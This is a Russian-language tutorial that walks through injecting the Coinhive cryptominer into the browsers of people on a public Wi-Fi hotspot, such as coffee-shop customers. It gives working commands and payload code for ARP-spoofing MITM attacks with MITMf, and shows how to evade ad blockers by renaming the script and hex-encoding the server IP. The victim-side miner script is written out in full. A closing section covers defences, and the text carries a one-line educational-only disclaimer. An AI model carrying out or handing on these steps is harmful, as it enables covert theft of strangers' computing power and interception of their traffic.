Внедрение майнера Coinhive через публичные Wi-Fi хотспоты

Внедрение майнера Coinhive через публичные Wi-Fi хотспоты

Автор: tokyoneon

Coinhive представляет собой майнер криптовалют, написанный на JavaScript. Этот скрипт предположительно был обнаружен на сайте BlackBerry Mobile. Хакеры использовали уязвимость в приложении, предназначенном для электронной торговли, что позволяло осуществлять анонимный майнинг криптовалют при каждом просмотре сайта. Вне всякого сомнения, Coinhive – инновационный метод майнига, которым пользуются хакеры в «дикой природе».

Как работает Coinhive

В Coinhive реализованы легитимные методы майнинга криптовалют, которые администраторы и операторы могут внедрить в свой вебсайты. При посещении сайтов, на которых размещен Coinhive, JavaScript запускает майнинг криптовалют в браузере в фоновом режиме с использованием процессоров компьютеров пользователей.

Этот инструмент был создан в качестве альтернативы заработку при помощи некрасивых баннеров, которые занимают часть страниц сайта и могут быть легко удалены блокировщиками рекламы. Coinhive предназначен для майнинга криптовалюты Monero (XMR), которая, на момент написания статьи, была в 35 раз дешевле биткоина, однако находится в ТОП 10 наиболее ценных криптовалют, формируемого на базе цены за одну монету.

Coinhive – вполне легитимный инструмент, однако недавние события показали, как легко хакеры могут злоупотреблять технологиями майнинга на базе JavaScript.

Случай с BlackBerry – один из многих инцидентов, когда хакеры и интернет провайдеры используют Coinhive во вредоносных целях. В октябре специалисты компании TrendMicro обнаружили несколько приложений в Google Play Store, использующих технологию Coinhive для незаметного майнинга криптовалют после установки Android-приложения. Кроме того, сообщалось о майнерах Coinhive, которые интернет провайдер внедрил на сайте Starbucks.

Методы эксплуатации Coinhive

Существует несколько GitHub-проектов (например, CoffeeMiner), предназначенных для реализации атак типа «человек посередине» (MITM-атаки) и внедрения майнеров Coinhive в браузеры, подключенные к публичным Wi-Fi хотспотам. По своему опыту скажу, что реализовывать MITM-атаки проще при помощи инструментов наподобие Man-in-the-Middle Framework (MITMf), поскольку те же самые результаты можно получить в разы быстрее.

В нашем примере мы будем использовать MITMf для инжектирования майнера Coinhive в браузеры, находящиеся с нами в одной Wi-Fi сети. Мы будем внедрять JavaScript-майнеры в веб-страницы в тот момент, когда посетители кофейни пользуются интернетом.

Вначале следует упомянуть, что сервис Coinhive блокирует аккаунты в случае, если JavaScript-майнер используется в неправомерных целях. Рекомендую пользоваться этим руководством только в образовательных целях, и не заниматься внедрением в хотспотах, которыми вы не владеете.

Шаг 1: Установка MITMf

Я буду устанавливаться MITMf в Kali Linux при помощи утилиты apt-get. В терминале введите команду, показанную ниже. Если вы предпочитаете сборку из исходных текстов, можете воспользоваться этим руководством или инструкциями по установке.

sudo apt-get install mitmf

После установки никаких дополнительных настроек не требуется, и мы переходим к созданию учетной записи на сайте Coinhive.

Шаг 2: Создание учетной записи

После установки MitMF переходим на страницу регистрации для создания аккаунта. Какие-то особые требования для создания учетной записи в сервисе Coinhive отсутствуют, и каждый может зарегистрироваться в течение нескольких секунд.

Затем нужно проверить электронную почту, кликнуть по присланной ссылке для завершения процесса регистрации и залогиниться в новом аккаунте. Нам понадобится индивидуальный ключ, который размещается на сайте, где предполагается использование JavaScript-майнера. Хотя мы будем использовать Coinhive нетрадиционным способом, и нам понадобится только ключ.

Ключ находится на странице «Sites & API Keys». Нам понадобится содержимое поля Site Key (public).


Рисунок 1: Список ключей

Каждый, кто пользуется блокировщиками рекламы типа uBlock Origin, будут наблюдать страницы, где встроен майнер Coinhive, в не очень красивом виде, поскольку, например, в uBlock Origin, самом популярном блокировщике, на данный момент домен coinhive.com находится в черном списке. Вне всякого сомнения, блокировка связана с тем, что хакеры используют Coinhive в злонамеренных целях.

Поскольку существует проблема, связанная с блокировщиками рекламы, нам нужно предпринять дополнительные шаги, чтобы предотвратить блокировку майнера в браузерах жертв. Большинство блокировщиков будут фильтровать домен coinhive.com и ему подобные, и чтобы такого не происходило, нужно выполнить обфускацию имени домена и JavaScript-файла.

Шаг 3: Обход блокировщиков рекламы

Вначале зайдем в раздел с документацией, чтобы ознакомиться со скриптом, который будет инжектироваться в браузеры жертв. Ниже показан JavaScript-майнер в самой наипростейшей форме.

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('YOUR-SITE-KEY-HERE');
miner.start();
</script>

В первой строке («script src») происходит загрузка файла .js с сайта Coinhive. В строке «var miner» происходит привязка аккаунта, и указывается ключ, который мы скопировали в предыдущем шаге. Функция miner.start() запускает майнинг. Если мы хотим обойти фильтры блокировщиков рекламы, нужно изменить имя домена coinhive.com и .js файла.

Следует отметить, что шаги 4 и 5 не являются панацеей и не смогут защитить вас от всех блокировщиков вследствие того, что майнер должен отправлять результаты своей на сервер (а иначе майнинг не имеет смысла). Поскольку в исходном коде жестко прописан адрес сервера, против блокировщиков, фильтрующих на уровне DNS, наш метод не сработает. Возможен лишь обход приложений, блокирующих HTML-тэги.

Шаг 4: Переименование JavaScript-файла

Вначале создадим временную директорию, где будет храниться файл майнера. При помощи команды mkdir создайте папку coinhive-js в директории /tmp. Затем, используя команду cd, перейдите в новую директорию.

mkdir /tmp/coinhive-js
cd /tmp/coinhive-js

Далее загрузите файл coinhive.min.js, который мы будем инжектировать в браузеры жертв. В Unix-подобных системах в терминале можно ввести следующую команду:

wget https://coinhive.com/lib/coinhive.min.js

В качестве нового имени зададим строку из случайных символов, которая навряд ли окажется в базе данных блокировщика. Для генерации случайной строки введите в терминале следующую команду:

openssl rand -hex 16

Число 16 говорит о том, что будет сгенерирована строка размером 16 символов (если нужно больше, увеличьте это значение). Затем переименовываем файл «coinhive.min.js» при помощи команды mv:

mv coinhive.min.js random-string-here.js

В демонстрационном примере я вводил случайные символы с клавиатуры.


Рисунок 2: Переименование и загрузка JavaScript-файла

Наконец, нам нужно сделать так, чтобы файл был доступен для загрузки у жертвы, находящейся с нами в одной Wi-Fi сети. Для решения этой задачи воспользуемся простой командой:

python3 -m http.server 80

http.server представляет собой модуль HTTP-сервера в Python3, который мы активируем при помощи аргумента –m (80 – номер порта, на котором работает сервер). Чтобы проверить работоспособность сервера, в браузере вводим адрес http://127.0.0.1:80.  127.0.0.1 – локальный адрес нашего компьютера. Именно этот адрес зачастую используется различными службами (например, HTTP-сервером), работающим на нашем компьютере.


Рисунок 3: Содержимое корневой директории HTTP-сервера

Шаг 5: Обфускация URL

После подготовки файла поговорим об обфускации URL при помощи шестнадцатеричного кодирования. Чтобы обойти фильтры блокировщиков, мы будем кодировать наш локальный IP-адрес. Например, адрес http://0xC0A80001 эквивалентен адресу http://192.168.0.1. Браузеры в состоянии понимать и интерпретировать шестнадцатеричные строки как обычный текст.

Самый простой способ - воспользоваться online-утилитами для преобразования IP-адресов в шестнадцатеричные строки. Вначале, определите IP-адрес при помощи команды ifconfig:

ifconfig wlan0

Ваш локальный IP-адрес скорее всего будет выглядеть как-то так 192.168.0.2 или так 192.168.1.10. Затем введите полученный IP-адрес в конвертере для вычисления шестнадцатеричного эквивалента.

Теперь собираем готовый скрипт. Ниже показана новая версия с шестнадцатеричным IP-адресом и измененным именем файла.

<script src="http://0x0A989811/ghfldghfsdhglfsdhgfd.js "></script>
<script>
var miner = new CoinHive.Anonymous('YOUR-SITE-KEY-HERE');
miner.start();
</script>

Сохраним этот код в отдельном локальном файле, который далее мы будем инжектировать в браузеры жертв при помощи MITMf. Для сохранения JavaScript-кода вы можете либо воспользоваться любимым текстовым редактором, либо следующей командой:

nano /tmp/coinhive-js/miner.js

Код, показанный выше, мы будем сохранять в директории coinhive-js в файле miner.js. Нажмите Ctrl + X для выхода из nano, введите Y и нажмите Enter для сохранения файла.


Рисунок 4: Содержимое файла miner.js

Шаг 6: Инжектирование майнера в браузеры

На данный момент у нас установлен MITMf, зарегистрирован новый аккаунт в сервисе Coinhive и создана обфусцированная полезная нагрузка для обхода фильтров блокировщиков. Теперь собираем все воедино.
Чтобы воспользоваться MitMF, запускаем команду ниже:

mitmf -i wlan0 --inject --js-file /tmp/coinhive-js/miner.js --arp --spoof --gateway 192.168.0.1

Параметр –i указывает MITMf, на какой интерфейс будет осуществляться атака. В Kali Linux беспроводной интерфейс, используемый по умолчанию - wlan0. В качестве адреса шлюза используется локальный IP-адрес Wi-Fi роутера (192.168.0.1). Чтобы найти локальный IP-адрес вашего роутера, в терминале введите команду route –n. В колонке «Gateway» должен быть IP-адрес наподобие «192.168.X.X».


Рисунок 5: Запуск MitMf

После запуска команды выше, в веб-страницы, просматриваемые в браузерах всех устройств, подключенных к Wi-Fi сети, будет инжектироваться полезная нагрузка. При каждом инжектировании в терминале будет появляться следующее сообщение «Injected JS file: example.com».


Рисунок 6: Появление события, связанного с инжектированием JavaScript-файла (выделено красным)

Из рисунка выше видно, что жертва использует браузер Google Chrome и операционную систему Windows. Инжектирование в браузер произошло при посещении сайта stackoverflow.com, после чего незамедлительно начинается майнинг криптовалюты Monero. Майнинг будет продолжаться до тех пор, пока вкладка с сайтом stackoverflow.com не будет закрыта.

Если посмотреть содержимое страницы, просматриваемой жертвой, то можно увидеть, что полезная нагрузка была инжектирована в нижнюю часть и без ведома жертвы.


Рисунок 7: Содержимое страницы с внедренной полезной нагрузкой

Ни один из трех наиболее популярных блокировщика рекламы, установленных мной из Chrome Web Store, не смог обнаружить вредоносную активность.

После инжектирования майнера в браузер жертвы, можно остановить атаку и отключить MITMf. Майнинг будет продолжаться. Если жертва уйдет из кофейни с открытой вкладкой, майнинг возобновится при следующем подключении к любой Wi-Fi сети. Майнер Coinhive будет работать до тех пор, пока жертва не закроет инфицированную вкладку или браузер.

Как защититься от JavaScript-майнеров

Как вы могли убедиться, блокировщики рекламы не являются столь эффективным при противодействии JavaScript-майнерам. Немного смекалки и майнер оказывается внедренным в веб-страницы, которые вы просматриваете в браузере.

  • Самый лучший способ защиты от вредоносного кода – полное отключение JavaScript в браузере. Включайте JavaScrtipt только в случае крайней необходимости. Многие профессионалы по безопасности рекомендуют расширение NoScript, как наиболее удобное средство включения/выключения JavaScript при необходимости.
  • В браузере Opera есть функция «NoCoin», блокирующая скрипты, предназначенные для майнинга. Кроме того, существует другие расширения для браузера, выполняющие схожие функции.
  • Если вы не хотите блокировать JavaScript, можно осуществлять мониторинг частоты использования процессора на предмет подозрительных пиков активности, которые могут свидетельствовать о фоновом майнинге. В ОС Window активность процессора можно отслеживать через Диспетчер задач (Task Manager), в macOS – через Мониторинг системы (Activity Monitor).
  • Проверяйте адресную строку браузера. Если сайт поддерживает протокол HTTPS (в углу отображается замок), значит, вы защищены от атаки типа «человек посередине». Многие сайты добавляются в список HSTS preload list. В этом случае даже если во время MITM-атаки будет попытка удалить HSTS-заголовки и использовать протокол HTTP вместо HTTPS, браузер не будет следовать этим инструкциям, поскольку домен жестко прописан на работу только через HTTPS. Проверить присутствие домена в этом списке можно через online-сервис.
  • Еще один способ защиты от MITM-атак в публичных сетях – использование виртуальной частной сети (VPN). Даже несмотря на то, что VPN не сможет заблокировать скрипт майнера, работающего на стороне сервера, но сможет защитить от MITM-атаки в конкретной точке доступа.
  • Используйте блокировщики рекламы, которые не только фильтруют HTML-тэги, но и умеют работать на DNS-уровне. В этом случае также нет гарантий, что майнер будет заблокирован, но, по крайней мере, злоумышленники не смогут получить заработанное.

Насколько прибылен JavaScript-майнинг?

Всех, кто интересуется вопросами прибыльности майнера Coinhive, отсылают к статье Максенса Корнета, где подробно рассматривается этот вопрос. Максенс на несколько дней подключал Coinhive на своем сайте с ежедневной посещаемостью в 1000 человек и получил следующие результаты: за 60 часов было заработано 0.00947 XMR или 0.89$ (получается 0.36$ в день).

Прямо скажем, результаты не очень впечатляющие, однако, вне всякого сомнения, майнинг при помощи Coinhive становится все более полярным особенно среди тех, кто пытается найти новые способы незаконного обогащения. Возможно, на не очень посещаемых сайтах доходы будут небольшими, однако представьте, что будет, если разметить майнер в Facebook или Google. И подобное вполне может случиться.

Вопросы и комментарии как всегда приветствуются.

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!